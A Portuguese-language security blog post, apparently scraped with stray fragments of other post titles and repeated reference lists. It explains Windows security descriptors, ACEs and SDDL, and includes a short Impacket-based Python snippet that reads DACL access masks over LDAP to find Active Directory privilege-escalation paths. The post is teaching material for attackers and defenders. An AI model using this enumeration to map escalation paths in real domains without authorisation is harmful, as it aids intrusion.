learn.microsoft.com — Enumerating Blob Resources</a></li>
learn.microsoft.com — Operations on Containers</a></li>
</ul>


(PT-BR) 101 Security Descriptor
2024-10-24T00:00:00+00:00
O Security Descriptor ou ntSecurityDescriptor, é um atributo de segurança do Windows que contém uma estrutura de dados representativa das permissões e propriedades daquele objeto em questão. Podemos interpretar o mesmo como uma ideia do escopo de permissões do X sobre Y. O ntSecurityDescriptor está presente desde as versões superiores do Windows Server 2000 e se manteve o mesmo desde então.</p>
O Security Descriptor é um representação compactada binária da segurança associada a objeto pertecente ao ambiente. Para comprovação disso, podemos tentar extrair o Security Descriptor de um usuário ou grupo por meio de uma query LDAP e vermos seu formato puro.</p>
</p>
É importante salientar que o ntSecurityDescriptor é utilizado por DACLs, SACLs, e ACL. Esses três atributos são responsáveis por representar as permissões desse objeto consumindo os dados do ntSecurityDescriptor. Essas permissões são de quem representa aquele objeto, quem pode acessar esse objeto e o que pode fazer com o mesmo, informações de auditoria do objeto e restrições sobre tal.</p>

ACL</strong>: Access Control List</em> é uma lista de proteções de seguranças que são aplicadas sobre um objeto. Deve-se entender que objetos podem ser um arquivo, processo, evento, ou tudo aquilo que também tiver um "Security Descriptor";</li>
ACE</strong>: Access Control Entries</em> são entrada de dados de ACLs (Access Control List). Uma ACE contém uma lista de permissões sobre um SID que irá identificar se tais permissões participam dos escopos: Allowed, Denied ou Audited;</li>
DACL</strong>: Discretionary Access Control List</em> é o responsável por identificar os administradores ou objetos que tem permissões ou não sobre objetos protegidos. Caso um processo tente interagir com um objeto protegido, o sistema irá requisitar ao que ACE busque na DACL se aquele autor em questão tem as permissões necessárias;</li>
SACL</strong>: System Access Control List</em> é uma lista que permite que adminstradores registrem tentativas de interação ou acesso a um objeto protegido. Cada ACE irá especificar as tentativas de acesso sobre aquele item e fará com que o sistema armazene essa tentativa no Security Event Log;</li>
</ul>
</p>
De acordo com a Microsoft, o ntSecurityDescriptor utiliza de um sistema chamado Security Descriptor String Format</em>. O Security Descriptor String Format</em> é um formato ou sistema de texto responsável por armazenar ou transportar a informação do ntSecurityDescriptor. Isso é feito por duas funções chamadas ConvertSecurityDescriptorToStringSecurityDescriptorA</strong> e ConvertStringSecurityDescriptorToSecurityDescriptorA</strong>. Essas duas funções são utilizadas para o trabalho de conversão dos Security Descriptor.</p>
É possível transformar um "String Security Descriptor"</em> para um Security Descriptor Absoluto</em> através de outra função que é chamada de MakeAbsoluteSD</strong>. Essas três funções iram retornar valores não nulos, caso todos os argumentos necessários forem repassados e serem válidos. Com o seu retorno, é possível extrair o formato do Security Descriptor.</p>
Para que as funções citadas acima possam descrever o formato do Security Descriptor, é utilizado a tecnologia SDDL (Security Descriptor Definition Language) que irá fazer essa tradução e permitir que as funções possam representar elas em texto. Aqui estão alguns exemplos de SDDL retirados do artigo da Microsoft:</p>
Exemplos</h3>
Regra</strong>: Qualquer usuário poderá executar esse objeto se ele seguir as seguintes condições:</p>

O título dele ser PM</li>
A divisão ou setor dele for Financeiro ou Vendas</li>
</ol>
d:(XA; ;FX;;;S-1-1-0; (@User.Title=="PM" && (@User.Division=="Financeiro" || @User.Division =="Vendas")))</span></span></code></pre>
Regra 2</strong>: Permite leitura do objeto se o usuário seguir as seguintes condições:</p>

Seu login ter sido feito a partir de um Smart Card</li>
É pertencente do grupo Backup Operator</li>
Está conectado em uma máquina com o BitLocker ativo</li>
</ol>
D:(XA; ;FR;;;S-1-1-0; (Member_of {SID(Smartcard_SID), SID(BO)} &&@Device.Bitlocker))</span></span></code></pre>Qual a sua importância?</h2>
Através do Security Descriptor, pode-se compreender qual o escopo de privilégios que aquele ativo terá sobre um item de seu interesse ou que haverá uma possível interação. Com isso em mente, a Microsoft desenvolveu esse atributo expressivo para que fosse alocado sobre os objetos do ambiente Active Directory e pudesse trabalhar as questões de controle de acesso. Atualmente, ele é utilizado por outras classes do ambiente Active Directory como:</p>

samDomainBase</strong>: A classe base para a definição de domínios;</li>
securityPrincipal</strong>: Armazena informações de segura sobre um objeto;</li>
top</strong>: A classe de mais alto nível que é de onde todas as classes derivam;</li>
</ul>
Hoje em dia, ferramentas como o BloodHound</strong> usufruem de ACEs e DACLs para identificar as permissões que um objeto tem sobre o outro, e assim, poder construir caminhos de exploração por meio de fragilidades do objeto X sobre o objeto Y.</p>
Trabalhando com o ntSecurityDescriptor</h2>
O ntSecurityDescriptor segue o seguinte formato O:BAG:BAD:S:</code>, onde:</p>

O</strong>: Owner</li>
BAG</strong> e BAD</strong> serão utilizados para representar quem tem permissão de interação e quem não tem sobre aquele objeto. G é Granted e D é Deny.</li>
S</strong> representará o SACL.</li>
</ul>
O atributo Owner irá indicar o proprietário por meio do SID do objeto, o BAG e o BAD são especificadores de controle de acesso e o SACL para poder armazenar as tentativas de interação com o objeto alvo. De uma maneira simples, se expandíssemos um Security Descriptor, esse seria o formato dele:</p>
</p>
Como podemos ver, o Owner e PrimaryGroup são as representações do proprietário daquele Security Descriptor. Com isso, podemos partir para a leitura da DACL que trará informações sobre a ACE do objeto protegido. Em um contexto de segurança ofensiva, o que diretamente nos importa seria o Access Mask dessa ACE.</p>
Com isso em mente, podemos capturar o Security Descriptor de objetos (usuários, grupos, etc) e lermos suas permissões e identificar possíveis fragilidades que atacantes podem utilizar para escalonar privilégios dentro de um ambiente Active Directory. Para isso, incrementei um módulo na minha ferramenta breads</a> que irá buscar pelo valor do ntSecurityDescriptor de todos os objetos do ambiente através da query objectClass=(*)</code> e checar as permissões se baseando no valor de ACE_MASK. Esses valores são hexadecimais que quando calculados, podem ser lidos como bits representantes de permissão. Essa é a tabela de permissões:</p>
</p>
Esse é o pedaço do código da minha ferramenta que irá realizar essa busca. O object_ntsd</code> representa o acesso ao atributo ntSecurityDescriptor daquele objeto; já a variável sd</code> está utilizando de uma classe do projeto Impacket</a> para realizar a leitura dos bytes do Security Descriptor. Por fim, percorremos pelas chaves retornada da variável sd</code> e acessamos seus valores respectivamente.</p>
# ...</span></span>
object_ntsd</span> =</span> attribute[</span>"attributes"</span>][</span>"nTSecurityDescriptor"</span>]</span></span>
sd</span> =</span> SR_SECURITY_DESCRIPTOR(</span>data</span>=</span>object_ntsd)</span></span>
</span>
if</span> sd[</span>"Dacl"</span>]:</span></span>
    for</span> ace</span> in</span> sd[</span>"Dacl"</span>].aces:</span></span>
        ace_object</span> =</span> ace[</span>"Ace"</span>]</span>  # Ace_Object Vars: Mask, Sid</span></span>
        ace_mask</span> =</span> ace_object[</span>"Mask"</span>][</span>"Mask"</span>]</span></span></code></pre>
Após um tratamento sobre os hexadecimais retornados e quais são suas representações com base na documentação da Microsoft, podemos esperar um resultado como esse abaixo. Ressalto que foi utilizado uma conta participante do grupo de Domain Admins.</p>
</p>
Conclusão</h2>
Assim, podemos compreender a relevância do ntSecurityDescriptor no Active Directory e como podemos utilizar dele para encontrar meios para realizar uma escalação de privilégios por meio de objetos presentes no ambiente. Como citado anteriormente, a ferramenta BloodHound faz um ótimo trabalhando usufruindo desse atributo para construir caminhos e gráficos com base nas informações coletadas do ambiente. Entende-se que tudo isso é principalmente útil para atacantes, todavia, esse tipo de processo também é de grande utilidade também para os times de operações defensivas, visto que poderão encontrar fragilidades na arquitetura monitorada.</p>
Referências</h2>

github.com/fortra/impacket — ldaptypes.py</a></li>
learn.microsoft.com — AD Schema</a></li>
installsetupconfig.com — Access Control List ACL</a></li>
learn.microsoft.com — Access Control Lists</a></li>
learn.microsoft.com — Security Descriptor String Format</a></li>
learn.microsoft.com — Security Glossary A</a></li>
learn.microsoft.com — Security Glossary D</a></li>
learn.microsoft.com — MS-DTYP: SECURITY_DESCRIPTOR</a></li>
learn.microsoft.com — MS-DTYP: ACE</a></li>
learn.microsoft.com — ADS_RIGHTS_ENUM</a></li>
</ul>
dsm Default Page

Data Exfiltration with Style (CSS)

(PT-BR) Pentest #1

Agradecimentos</h2> Guilherme d'Ávila</a></li> Paulo Victor</a></li> Thauan Santos</a></li> </ul> Referências</h2> blog.lexfo.fr — GLPI: From SQL Injection to RCE</a></li> github.com — GLPI diff 10.0.17...10.0.18</a></li> github.com — CVE-2025-24801 exploit by r1beirin</a></li> </ul>

Referências</h2> blog.lexfo.fr — GLPI: From SQL Injection to RCE</a></li> github.com — GLPI diff 10.0.17...10.0.18</a></li> github.com — CVE-2025-24801 exploit by r1beirin</a></li> </ul>

Defeating Client-Side Web Encryption with Burp Suite Extension

Bypassing Flutter Certificate Pinning

Intercept, intercept and intercept</h2> After all this analysis, we're ready to intercept the traffic. Here's what we need to do:</p> Create IPTables rules to redirect the traffic.</li> Configure the proxy on our Android device (I'm using an emulated Pixel 9 Pro).</li> Set up Burp Suite.</li>

Discovering an Authenticated RCE Vulnerability in My Old Router

References</h2> youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018</a></li> </ul>

Attacking Azure Blob Storage Services

(PT-BR) 101 Security Descriptor

Agradecimentos</h2>

Guilherme d'Ávila</a></li>
Paulo Victor</a></li>
Thauan Santos</a></li> </ul>
Referências</h2>

blog.lexfo.fr — GLPI: From SQL Injection to RCE</a></li>
github.com — GLPI diff 10.0.17...10.0.18</a></li>
github.com — CVE-2025-24801 exploit by r1beirin</a></li> </ul>

Referências</h2>

blog.lexfo.fr — GLPI: From SQL Injection to RCE</a></li>
github.com — GLPI diff 10.0.17...10.0.18</a></li>
github.com — CVE-2025-24801 exploit by r1beirin</a></li> </ul>

References</h2>

youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018</a></li> </ul>
